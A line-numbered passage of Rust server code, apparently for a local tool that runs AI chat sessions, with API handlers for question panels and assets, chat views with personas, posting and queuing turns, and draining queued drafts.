6913 return Err(ApiError::conflict(format!(
6914 "question {} is already {}",
6915 q.short(),
6916 q.status.as_str()
6917 )));
6918 }
6919 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6920 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6921 return Err(ApiError::conflict(format!(
6922 "question {} has no chat to ask",
6923 q.short()
6924 )));
6925 };
6926 let cfg = if q.consult.is_none() {
6930 Some(Config::discover(&talk.repo, None)?.0)
6931 } else {
6932 None
6933 };
6934 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6935 let claim = if fresh {
6936 match ui.begin_queued_talk_turn(&talk.id)? {
6937 Some(turn_guard) => {
6938 let talk = ui.talks.get(&talk.id)?;
6939 let cfg = match cfg {
6940 Some(cfg) => cfg,
6941 None => Config::discover(&talk.repo, None)?.0,
6942 };
6943 Some((talk, cfg, turn_guard))
6944 }
6945 None => None,
6946 }
6947 } else {
6948 None
6949 };
6950 let q = ui.questions.get(&q.id)?;
6951 let cfg = deputy_config(&ui.repo);
6952 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6953 Ok((view, claim))
6954 }
6955 })
6956 .await?;
6957 if let Some((talk, cfg, turn_guard)) = reclaimed {
6958 let talks = ui.talks.clone();
6959 let id = talk.id.clone();
6960 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6961 }
6962 Ok((StatusCode::ACCEPTED, Json(view)))
6963}
6964
6965fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6967 if store.path_of(id).is_file() {
6968 return Ok(id.to_owned());
6969 }
6970 pick(
6971 store.list().into_iter().map(|q| q.id).collect(),
6972 id,
6973 "question",
6974 )
6975}
6976
6977async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6992 blocking(move || {
6993 let id = resolve_question(&ui.questions, &id)?;
6994 let Some(html) = ui.questions.panel_html(&id) else {
6995 return Err(ApiError::not_found(format!("question {id} has no panel")));
6996 };
6997 Ok(panel_response(
6998 "text/html; charset=utf-8",
6999 false,
7000 html.into_bytes(),
7001 ))
7002 })
7003 .await
7004}
7005
7006async fn question_asset(
7034 State(ui): State<Arc<Ui>>,
7035 Path((id, name)): Path<(String, String)>,
7036) -> ApiResult<Response> {
7037 if !crate::ask::valid_asset_name(&name) {
7040 return Err(ApiError::bad_request(format!(
7041 "`{name}` is not a usable asset name"
7042 )));
7043 }
7044 blocking(move || {
7045 let id = resolve_question(&ui.questions, &id)?;
7046 let asset = ui
7047 .questions
7048 .panel_asset(&id, &name)
7049 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7050 let Some(bytes) = asset else {
7051 return Err(ApiError::not_found(format!(
7052 "question {id} has no asset `{name}`"
7053 )));
7054 };
7055 Ok(panel_response(
7056 asset_content_type(&name),
7057 is_svg(&name),
7058 bytes,
7059 ))
7060 })
7061 .await
7062}
7063
7064fn asset_content_type(name: &str) -> &'static str {
7077 match extension(name).as_deref() {
7078 Some("png") => "image/png",
7079 Some("jpg" | "jpeg") => "image/jpeg",
7080 Some("gif") => "image/gif",
7081 Some("webp") => "image/webp",
7082 Some("svg") => "image/svg+xml",
7083 Some("css") => "text/css; charset=utf-8",
7084 Some("txt") => "text/plain; charset=utf-8",
7085 _ => "application/octet-stream",
7086 }
7087}
7088
7089fn is_svg(name: &str) -> bool {
7092 extension(name).as_deref() == Some("svg")
7093}
7094
7095fn extension(name: &str) -> Option<String> {
7097 name.rsplit_once('.')
7098 .map(|(_, ext)| ext.to_ascii_lowercase())
7099}
7100
7101fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7118 let mut res = (
7119 [
7120 (header::CONTENT_TYPE, content_type),
7121 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7122 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7123 (header::REFERRER_POLICY, "no-referrer"),
7124 ],
7125 body,
7126 )
7127 .into_response();
7128 if download {
7129 res.headers_mut().insert(
7130 header::CONTENT_DISPOSITION,
7131 HeaderValue::from_static("attachment"),
7132 );
7133 }
7134 res
7135}
7136
7137#[derive(Debug, Serialize)]
7143struct TalkView {
7144 #[serde(flatten)]
7145 talk: Talk,
7146 turn_bodies_md: Vec<Vec<md::Node>>,
7147 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7149 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7150 thinking: bool,
7158 context: talk::ContextUsage,
7162 operator_name: Option<String>,
7165 persona_name: Option<String>,
7167 persona_avatar: String,
7170 operator_avatar: String,
7172 magi_avatar: String,
7173}
7174
7175impl TalkView {
7176 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7179 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7180 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7181 }
7182
7183 fn with_config(
7186 talk: Talk,
7187 thinking: bool,
7188 cfg: Option<&Config>,
7189 home: &FsPath,
7190 cache: &id_links::IndexCache,
7191 ) -> Self {
7192 let references = cache.for_talk(home, &talk);
7193 Self::with_references(talk, thinking, cfg, home, &references)
7194 }
7195
7196 fn with_references(
7197 mut talk: Talk,
7198 thinking: bool,
7199 cfg: Option<&Config>,
7200 home: &FsPath,
7201 references: &id_links::IdIndex,
7202 ) -> Self {
7203 let snapshot = talk.clone();
7205 for (index, turn) in talk.turns.iter_mut().enumerate() {
7206 let original = &snapshot.turns[index];
7207 if turn.messages.is_empty() {
7208 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7209 turn.messages.push(talk::Message {
7210 sender: Some(talk::Sender::Magi),
7211 body: original.body.clone(),
7212 display: Some(display),
7213 attachments: original.attachments.clone(),
7214 reply: None,
7215 });
7216 }
7217 } else {
7218 for (i, message) in turn.messages.iter_mut().enumerate() {
7219 message.display =
7220 talk::notice_display(&snapshot, original, original.messages.get(i));
7221 if message.display.is_some() {
7222 message.sender = Some(talk::Sender::Magi);
7223 }
7224 }
7225 }
7226 }
7227 for message in &mut talk.pending_messages {
7228 if message.display.is_none()
7229 && (message.sender == Some(talk::Sender::Magi)
7230 || snapshot
7231 .completion_notices
7232 .iter()
7233 .any(|r| r.notice == message.body))
7234 {
7235 message.display = crate::prompt::legacy_notice_display(&message.body);
7236 if message.display.is_some() {
7237 message.sender = Some(talk::Sender::Magi);
7238 }
7239 }
7240 }
7241 if talk.pending_messages.is_empty()
7242 && snapshot
7243 .completion_notices
7244 .iter()
7245 .any(|r| r.notice == talk.pending)
7246 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7247 {
7248 talk.pending_messages.push(talk::Message {
7249 sender: Some(talk::Sender::Magi),
7250 display: Some(display),
7251 body: talk.pending.clone(),
7252 attachments: talk.pending_attachments.clone(),
7253 reply: None,
7254 });
7255 }
7256 let excerpts: Vec<Vec<Option<String>>> = talk
7257 .turns
7258 .iter()
7259 .map(|turn| {
7260 turn.messages
7261 .iter()
7262 .map(|m| {
7263 m.display
7264 .as_ref()
7265 .map(|d| d.facts.chars().take(240).collect())
7266 })
7267 .collect()
7268 })
7269 .collect();
7270 for turn in &mut talk.turns {
7271 let provenance = talk::sender(turn, None);
7272 turn.sender = Some(provenance);
7273 for message in &mut turn.messages {
7274 message.sender = Some(message.sender.unwrap_or(provenance));
7275 }
7276 }
7277 let senders: Vec<Vec<talk::Sender>> = talk
7279 .turns
7280 .iter()
7281 .map(|turn| {
7282 if turn.messages.is_empty() {
7283 vec![talk::sender(turn, None)]
7284 } else {
7285 turn.messages
7286 .iter()
7287 .map(|m| talk::sender(turn, Some(m)))
7288 .collect()
7289 }
7290 })
7291 .collect();
7292 for reply in talk
7293 .turns
7294 .iter_mut()
7295 .flat_map(|t| t.messages.iter_mut())
7296 .chain(talk.pending_messages.iter_mut())
7297 .filter_map(|m| m.reply.as_mut())
7298 {
7299 if let Some(Some(excerpt)) = excerpts
7300 .get(reply.target.turn)
7301 .and_then(|ms| ms.get(reply.target.message))
7302 {
7303 reply.excerpt = excerpt.clone();
7304 reply.sender = Some(talk::Sender::Magi);
7305 }
7306 if reply.sender.is_none() {
7307 reply.sender = senders
7308 .get(reply.target.turn)
7309 .and_then(|messages| messages.get(reply.target.message))
7310 .copied();
7311 }
7312 }
7313 let context = talk::context_usage(&talk, cfg);
7314 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
7315 .turns
7316 .iter()
7317 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7318 .collect();
7319 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
7320 .turns
7321 .iter()
7322 .map(|turn| {
7323 if turn.messages.is_empty() {
7324 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7325 } else {
7326 turn.messages
7327 .iter()
7328 .map(|message| {
7329 notice_markdown(
7330 message.sender.unwrap_or(talk::Sender::Operator),
7331 &message.body,
7332 message.display.as_ref(),
7333 )
7334 })
7335 .collect()
7336 }
7337 })
7338 .collect();
7339 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
7340 .pending_messages
7341 .iter()
7342 .map(|message| {
7343 notice_markdown(
7344 message.sender.unwrap_or(talk::Sender::Operator),
7345 &message.body,
7346 message.display.as_ref(),
7347 )
7348 })
7349 .collect();
7350 for nodes in &mut turn_bodies_md {
7351 references.markdown(nodes);
7352 }
7353 for nodes in turn_messages_md
7354 .iter_mut()
7355 .flatten()
7356 .chain(pending_messages_md.iter_mut())
7357 .flatten()
7358 {
7359 references.markdown(nodes);
7360 }
7361 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7362 let persona_name = persona::find(specs, &talk.persona)
7363 .filter(|p| !p.is_default())
7364 .map(|p| p.name);
7365 let mut avatar_persona = persona::find(specs, &talk.persona)
7366 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
7367 if avatar_persona.id != talk.persona
7369 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
7370 {
7371 avatar_persona.id.clone_from(&talk.persona);
7372 avatar_persona.icon = None;
7373 }
7374 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
7375 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7376 Self {
7377 turn_bodies_md,
7378 turn_messages_md,
7379 pending_messages_md,
7380 thinking,
7381 context,
7382 operator_name,
7383 persona_name,
7384 persona_avatar,
7385 magi_avatar: magi_icon_url(home),
7386 operator_avatar: operator_icon_url(home),
7387 talk,
7388 }
7389 }
7390}
7391
7392fn notice_markdown(
7394 sender: talk::Sender,
7395 body: &str,
7396 display: Option<&crate::prompt::NoticeDisplay>,
7397) -> Option<Vec<md::Node>> {
7398 if sender != talk::Sender::Magi {
7399 return None;
7400 }
7401 let text = if let Some(display) = display {
7402 display.facts.as_str()
7403 } else {
7404 if crate::prompt::is_completion_notice(body)
7407 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7408 {
7409 return None;
7410 }
7411 body.strip_prefix("magi: ").unwrap_or(body)
7412 };
7413 Some(md::to_nodes(text, &md::ImageBase::None))
7414}
7415
7416#[derive(Debug, Serialize)]
7421struct TalkDetailView {
7422 #[serde(flatten)]
7423 view: TalkView,
7424 tasks: Vec<TaskView>,
7425 task_progress: TalkTaskProgress,
7426 roster: Vec<RosterEntry>,
7429 personas: Vec<PersonaEntry>,
7432}
7433
7434#[derive(Debug, Serialize)]
7436struct TalkTaskProgress {
7437 state: &'static str,
7438 total: usize,
7439 done: usize,
7440 counts: std::collections::BTreeMap<&'static str, usize>,
7441 unfinished_ids: Vec<String>,
7442}
7443
7444fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7445 let mut counts = std::collections::BTreeMap::from([
7446 ("queued", 0),
7447 ("running", 0),
7448 ("done", 0),
7449 ("failed", 0),
7450 ("held", 0),
7451 ("blocked", 0),
7452 ("parked", 0),
7453 ]);
7454 let mut unfinished_ids = Vec::new();
7455 for task in tasks {
7456 *counts.entry(task.status.as_str()).or_default() += 1;
7457 if task.status != TaskStatus::Done {
7458 unfinished_ids.push(task.id.clone());
7459 }
7460 }
7461 TalkTaskProgress {
7462 state: if tasks.is_empty() {
7463 "none"
7464 } else if unfinished_ids.is_empty() {
7465 "complete"
7466 } else {
7467 "incomplete"
7468 },
7469 total: tasks.len(),
7470 done: tasks.len() - unfinished_ids.len(),
7471 counts,
7472 unfinished_ids,
7473 }
7474}
7475
7476#[derive(Debug, Serialize)]
7478struct PersonaEntry {
7479 id: String,
7480 name: String,
7481 avatar: String,
7483}
7484
7485#[derive(Debug, Serialize)]
7487struct RosterEntry {
7488 id: String,
7489 kind: AgentKind,
7490 runnable: bool,
7492}
7493
7494async fn talks_list(
7499 State(ui): State<Arc<Ui>>,
7500 Query(q): Query<ListQuery>,
7501) -> ApiResult<Json<Vec<TalkView>>> {
7502 blocking(move || {
7503 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7504 let talks = ui.talks.list();
7505 let references = if talks.iter().any(id_links::has_references) {
7506 ui.references.get(
7507 &ui.runs,
7508 &ui.queue,
7509 &ui.questions,
7510 &ui.talks,
7511 talks.iter().any(id_links::has_findings),
7512 )
7513 } else {
7514 Arc::new(id_links::IdIndex::default())
7515 };
7516 Ok(Json(
7517 talks
7518 .into_iter()
7519 .filter(|talk| q.contains(&talk.id))
7520 .map(|talk| {
7521 let thinking = ui.is_thinking(&talk.id);
7522 let cfg = configs
7523 .entry(talk.repo.clone())
7524 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7525 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
7526 })
7527 .collect(),
7528 ))
7529 })
7530 .await
7531}
7532
7533#[derive(Debug, Default, Deserialize)]
7538#[serde(default)]
7539struct NewTalk {
7540 agent: Option<String>,
7541 repo: Option<PathBuf>,
7542 preferred_agent: Option<serde_json::Value>,
7546 persona: Option<serde_json::Value>,
7547 implementers: Option<serde_json::Value>,
7548}
7549
7550async fn talk_post(
7553 State(ui): State<Arc<Ui>>,
7554 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7555) -> ApiResult<impl IntoResponse> {
7556 let body = match body {
7560 Ok(Json(body)) => body,
7561 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7562 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7563 };
7564 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7565 let cfg = config_for(&repo).await?;
7566 let view = blocking(move || {
7567 let preferred = talk::Preferred {
7568 agent: body
7569 .preferred_agent
7570 .as_ref()
7571 .and_then(|v| v.as_str())
7572 .map(str::to_owned),
7573 persona: body
7574 .persona
7575 .as_ref()
7576 .and_then(|v| v.as_str())
7577 .map(str::to_owned),
7578 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7579 };
7580 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7581 let thinking = ui.is_thinking(&talk.id);
7582 Ok(TalkView::new(talk, thinking, &ui))
7583 })
7584 .await?;
7585 Ok((StatusCode::CREATED, Json(view)))
7586}
7587
7588async fn talk_detail(
7590 State(ui): State<Arc<Ui>>,
7591 Path(id): Path<String>,
7592) -> ApiResult<Json<TalkDetailView>> {
7593 blocking(move || {
7594 let id = resolve_talk(&ui.talks, &id)?;
7595 let talk = ui.talks.get(&id)?;
7596 let thinking = ui.is_thinking(&talk.id);
7597 let tasks = talk::tasks_of(&ui.queue, &talk.id);
7598 let task_progress = talk_task_progress(&tasks);
7599 let tasks = tasks.into_iter().map(TaskView::from).collect();
7600 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7601 let roster = cfg
7602 .as_ref()
7603 .map(|cfg| {
7604 cfg.agents
7605 .iter()
7606 .map(|a| RosterEntry {
7607 id: a.id.clone(),
7608 kind: a.kind,
7609 runnable: agent::installed(a),
7610 })
7611 .collect()
7612 })
7613 .unwrap_or_default();
7614 let specs = cfg
7615 .as_ref()
7616 .map(|cfg| cfg.talk.personas.clone())
7617 .unwrap_or_default();
7618 let personas = persona::catalog(&specs)
7619 .into_iter()
7620 .map(|p| PersonaEntry {
7621 avatar: avatar_url(&ui.home, &talk.id, &p),
7622 id: p.id,
7623 name: p.name,
7624 })
7625 .collect();
7626 Ok(Json(TalkDetailView {
7627 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
7628 tasks,
7629 task_progress,
7630 roster,
7631 personas,
7632 }))
7633 })
7634 .await
7635}
7636
7637#[derive(Debug, Default, Deserialize)]
7643#[serde(default, deny_unknown_fields)]
7644struct NewTalkTurn {
7645 reply_to: Option<talk::ReplyTarget>,
7646 text: String,
7647 attachments: Vec<String>,
7648}
7649
7650#[derive(Debug, Deserialize)]
7651#[serde(deny_unknown_fields)]
7652struct EditTalkPending {
7653 #[serde(default)]
7654 message: Option<usize>,
7655 text: String,
7656 expected_text: String,
7657 expected_attachments: Vec<String>,
7658}
7659
7660#[derive(Debug, Deserialize)]
7661#[serde(deny_unknown_fields)]
7662struct ClearTalkPending {
7663 expected_text: String,
7664 expected_attachments: Vec<String>,
7665}
7666
7667async fn talk_say(
7679 State(ui): State<Arc<Ui>>,
7680 Path(id): Path<String>,
7681 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7682) -> ApiResult<(StatusCode, Json<TalkView>)> {
7683 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7684 if body.text.trim().is_empty() && body.attachments.is_empty() {
7685 return Err(ApiError::bad_request("say something"));
7686 }
7687
7688 let id = {
7689 let ui = Arc::clone(&ui);
7690 let asked = id.clone();
7691 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7692 };
7693 {
7697 let ui = Arc::clone(&ui);
7698 let id = id.clone();
7699 blocking(move || {
7700 let talk = ui.talks.get(&id)?;
7701 if !talk.status.open() {
7702 return Err(ApiError::conflict(format!(
7703 "talk {} is {} and takes no more turns",
7704 talk.short(),
7705 talk.status.as_str()
7706 )));
7707 }
7708 Ok(())
7709 })
7710 .await?;
7711 }
7712
7713 let attachments = {
7718 let ui = Arc::clone(&ui);
7719 let id = id.clone();
7720 let ids = body.attachments.clone();
7721 blocking(move || {
7722 ids.into_iter()
7723 .map(|att_id| {
7724 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7725 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7726 })
7727 })
7728 .collect::<ApiResult<Vec<talk::Attachment>>>()
7729 })
7730 .await?
7731 };
7732
7733 let start = {
7738 let ui = Arc::clone(&ui);
7739 let id = id.clone();
7740 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7741 };
7742 let turn_guard = match start {
7743 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7744 TalkTurnStart::Pending => {
7745 return Err(ApiError::conflict(
7746 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7747 ));
7748 }
7749 TalkTurnStart::Foreign => {
7750 return Err(ApiError::conflict(
7751 "a turn is already running in another process; try again when it has finished",
7752 ));
7753 }
7754 TalkTurnStart::Busy => {
7755 let (tx, rx) = tokio::sync::oneshot::channel();
7771 tokio::spawn({
7772 let ui = Arc::clone(&ui);
7773 let id = id.clone();
7774 let said = body.text.clone();
7775 let reply_to = body.reply_to.clone();
7776 async move {
7777 let written = blocking({
7778 let ui = Arc::clone(&ui);
7779 let id = id.clone();
7780 move || {
7781 let mut talk = ui.talks.get(&id)?;
7782 #[cfg(test)]
7787 if let Some(gate) = ui
7788 .busy_queue_gate
7789 .lock()
7790 .unwrap_or_else(PoisonError::into_inner)
7791 .take()
7792 {
7793 let _ = gate.reached.send(());
7794 let _ = gate.release.recv();
7795 }
7796 if let Err(error) = talk::queue_reply(
7797 &mut talk,
7798 &ui.talks,
7799 &said,
7800 attachments,
7801 reply_to,
7802 ) {
7803 if let Ok(fresh) = ui.talks.get(&id) {
7804 if !fresh.status.open() {
7805 return Err(ApiError::conflict(format!(
7806 "talk {} is {} and takes no more turns",
7807 fresh.short(),
7808 fresh.status.as_str()
7809 )));
7810 }
7811 }
7812 return Err(
7813 if error.to_string().contains("invalid reply target") {
7814 ApiError::bad_request("invalid reply target")
7815 } else {
7816 ApiError::from(error)
7817 },
7818 );
7819 }
7820 let claim = match ui.begin_queued_talk_turn(&id)? {
7831 Some(turn_guard) => {
7832 let (cfg, _) = Config::discover(&talk.repo, None)?;
7833 Some((talk.clone(), cfg, turn_guard))
7834 }
7835 None => None,
7836 };
7837 let thinking = ui.is_thinking(&id);
7838 Ok((TalkView::new(talk, thinking, &ui), claim))
7839 }
7840 })
7841 .await;
7842 let (view, reclaimed) = match written {
7843 Ok(pair) => pair,
7844 Err(e) => {
7845 let _ = tx.send(Err(e));
7850 return;
7851 }
7852 };
7853 let _ = tx.send(Ok(view));
7856 if let Some((talk, cfg, turn_guard)) = reclaimed {
7857 let talks = ui.talks.clone();
7858 drain_loop(talk, talks, cfg, id, turn_guard).await;
7859 }
7860 }
7861 });
7862 let view = rx
7863 .await
7864 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7865 return Ok((StatusCode::ACCEPTED, Json(view)));
7866 }
7867 };
7868
7869 let (talk, cfg) = {
7870 let ui = Arc::clone(&ui);
7871 let id = id.clone();
7872 blocking(move || {
7873 let talk = ui.talks.get(&id)?;
7874 let (cfg, _) = Config::discover(&talk.repo, None)?;
7875 Ok((talk, cfg))
7876 })
7877 .await?
7878 };
7879
7880 let talks = ui.talks.clone();
7881 let (tx, rx) = tokio::sync::oneshot::channel();
7896 tokio::spawn({
7897 let ui = Arc::clone(&ui);
7898 let talks = talks.clone();
7899 let id = id.clone();
7900 let said = body.text.clone();
7901 let reply_to = body.reply_to.clone();
7902 let mut talk = talk.clone();
7903 async move {
7904 let recorded = blocking({
7905 let talks = talks.clone();
7906 move || {
7907 if let Err(error) =
7908 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7909 {
7910 if let Ok(fresh) = talks.get(&talk.id) {
7911 if !fresh.status.open() {
7912 return Err(ApiError::conflict(format!(
7913 "talk {} is {} and takes no more turns",
7914 fresh.short(),
7915 fresh.status.as_str()
7916 )));
7917 }
7918 }
7919 return Err(if error.to_string().contains("invalid reply target") {
7920 ApiError::bad_request("invalid reply target")
7921 } else {
7922 ApiError::from(error)
7923 });
7924 }
7925 Ok((said.trim().to_owned(), talk))
7931 }
7932 })
7933 .await;
7934 let (text, mut talk) = match recorded {
7935 Ok(pair) => pair,
7936 Err(e) => {
7937 let _ = tx.send(Err(e));
7941 return;
7942 }
7943 };
7944 let queued = talk.clone();
7945 let thinking = ui.is_thinking(&id);
7946 let _ = tx.send(Ok((queued, thinking)));
7949
7950 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7951 tracing::warn!("talk {id} turn failed: {e:#}");
7955 }
7956 drain_loop(talk, talks, cfg, id, turn_guard).await;
7959 }
7960 });
7961
7962 let (queued, thinking) = rx
7963 .await
7964 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7965
7966 Ok((
7968 StatusCode::ACCEPTED,
7969 Json(TalkView::new(queued, thinking, &ui)),
7970 ))
7971}
7972
7973async fn talk_pending_resume(
7977 State(ui): State<Arc<Ui>>,
7978 Path(id): Path<String>,
7979) -> ApiResult<(StatusCode, Json<TalkView>)> {
7980 let id = {
7981 let ui = Arc::clone(&ui);
7982 let asked = id.clone();
7983 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7984 };
7985 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7986 return Err(ApiError::conflict(
7987 "a talk turn is already running; the queued draft will be handled by it",
7988 ));
7989 };
7990 let (talk, cfg) = {
7991 let ui = Arc::clone(&ui);
7992 let id = id.clone();
7993 blocking(move || {
7994 let talk = ui.talks.get(&id)?;
7995 if !talk.status.open() {
7996 return Err(ApiError::conflict(format!(
7997 "talk {} is {} and takes no more turns",
7998 talk.short(),
7999 talk.status.as_str()
8000 )));
8001 }
8002 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8003 return Err(ApiError::conflict("there is no queued draft to resume"));
8004 }
8005 let (cfg, _) = Config::discover(&talk.repo, None)?;
8006 Ok((talk, cfg))
8007 })
8008 .await?
8009 };
8010 let view = TalkView::new(talk.clone(), true, &ui);
8011 let talks = ui.talks.clone();
8012 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8013 Ok((StatusCode::ACCEPTED, Json(view)))
8014}
8015
8016async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8032 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8033}
8034
8035async fn settle_settings_turn(
8039 talk: Talk,
8040 talks: Talks,
8041 cfg: Config,
8042 id: String,
8043 turn: TalkTurnGuard,
8044 observed: u64,
8045) -> bool {
8046 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8047 let turns = Arc::clone(&turn.turns);
8048 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8049 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8050 turn.release(&mut live);
8052 return false;
8053 }
8054 }
8055 let (started, settled) = tokio::sync::oneshot::channel();
8056 tokio::spawn(drain_loop_started(
8057 talk,
8058 talks,
8059 cfg,
8060 id,
8061 turn,
8062 Some(started),
8063 ));
8064 settled.await.unwrap_or(false)
8065}
8066
8067async fn drain_loop_started(
8068 mut talk: Talk,
8069 talks: Talks,
8070 cfg: Config,
8071 id: String,
8072 turn: TalkTurnGuard,
8073 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8074) {
8075 let live_set = Arc::clone(&turn.turns);
8076 let mut turn = Some(turn);
8084 loop {
8085 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8086 tracing::warn!("talk {id} lost its turn lease; not draining further");
8089 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8090 if let Some(turn) = turn.take() {
8091 turn.release(&mut live);
8092 }
8093 break;
8094 }
8095 {
8096 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8099 if live.parking {
8100 if let Some(turn) = turn.take() {
8101 turn.release(&mut live);
8102 }
8103 break;
8104 }
8105 }
8106 let observed = live_set
8110 .lock()
8111 .unwrap_or_else(PoisonError::into_inner)
8112 .queued
8113 .get(&id)
8114 .copied()
8115 .unwrap_or(0);
8116 let drained = blocking({
8117 let talks = talks.clone();
8118 let live_set = Arc::clone(&live_set);
8119 move || {
8120 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8125 let result = if live.parking {
8126 Ok(None)
8127 } else {
8128 talk::drain(&mut talk, &talks)
8129 };
8130 drop(live);
8131 Ok((talk, result))
8132 }
8133 })
8134 .await;
8135 let (next_talk, result) = match drained {
8136 Ok(drained) => drained,
8137 Err(e) => {
8138 tracing::warn!(
8139 status = %e.status,
8140 message = %e.message,
8141 "talk {id} could not start queued-text drain"
8142 );
8143 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8144 turn.take()
8145 .expect("held for the whole loop until released here")
8146 .release(&mut live);
8147 break;
8148 }
8149 };
8150 talk = next_talk;
8151 let drained = match result {
8152 Ok(Some(drained)) => drained,
8153 Ok(None) => {
8154 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8155 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8156 continue;
8157 }
8158 turn.take()
8159 .expect("held for the whole loop until released here")
8160 .release(&mut live);
8161 break;
8162 }
8163 Err(e) => {
8164 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8165 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8166 turn.take()
8167 .expect("held for the whole loop until released here")
8168 .release(&mut live);
8169 break;
8170 }
8171 };
8172 if let Some(started) = started.take() {
8173 let _ = started.send(true);
8174 }
8175 let responded = match turn.as_ref() {
8176 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8177 None => Err(anyhow::anyhow!("the turn guard was released")),
8178 };
8179 if let Err(e) = responded {
8180 tracing::warn!("talk {id} turn failed: {e:#}");
8181 }
8182 }
8183 drop(turn);
8184 if let Some(started) = started {
8185 let _ = started.send(false);
8186 }
8187}
8188
8189async fn talk_pending_clear(
8191 State(ui): State<Arc<Ui>>,
8192 Path(id): Path<String>,
8193 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8194) -> ApiResult<Json<TalkView>> {
8195 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8196 blocking(move || {
8197 let id = resolve_talk(&ui.talks, &id)?;
8198 let mut talk = ui.talks.get(&id)?;
8199 if !talk.status.open() {
8200 return Err(ApiError::conflict(format!(
8201 "talk {} is {} and takes no more turns",
8202 talk.short(),
8203 talk.status.as_str()
8204 )));
8205 }
8206 if !talk::clear_pending_if_matches(
8207 &mut talk,
8208 &ui.talks,
8209 &body.expected_text,
8210 &body.expected_attachments,
8211 )? {
8212 return Err(ApiError::conflict(
8213 "queued message changed; reload it before clearing",
8214 ));
8215 }
8216 let thinking = ui.is_thinking(&talk.id);
8217 Ok(Json(TalkView::new(talk, thinking, &ui)))
8218 })
8219 .await
8220}
8221
8222async fn talk_pending_edit(
8226 State(ui): State<Arc<Ui>>,
8227 Path(id): Path<String>,
8228 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8229) -> ApiResult<Json<TalkView>> {
8230 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8231 let (view, reclaimed) = blocking({
8232 let ui = Arc::clone(&ui);
8233 move || {
8234 let id = resolve_talk(&ui.talks, &id)?;
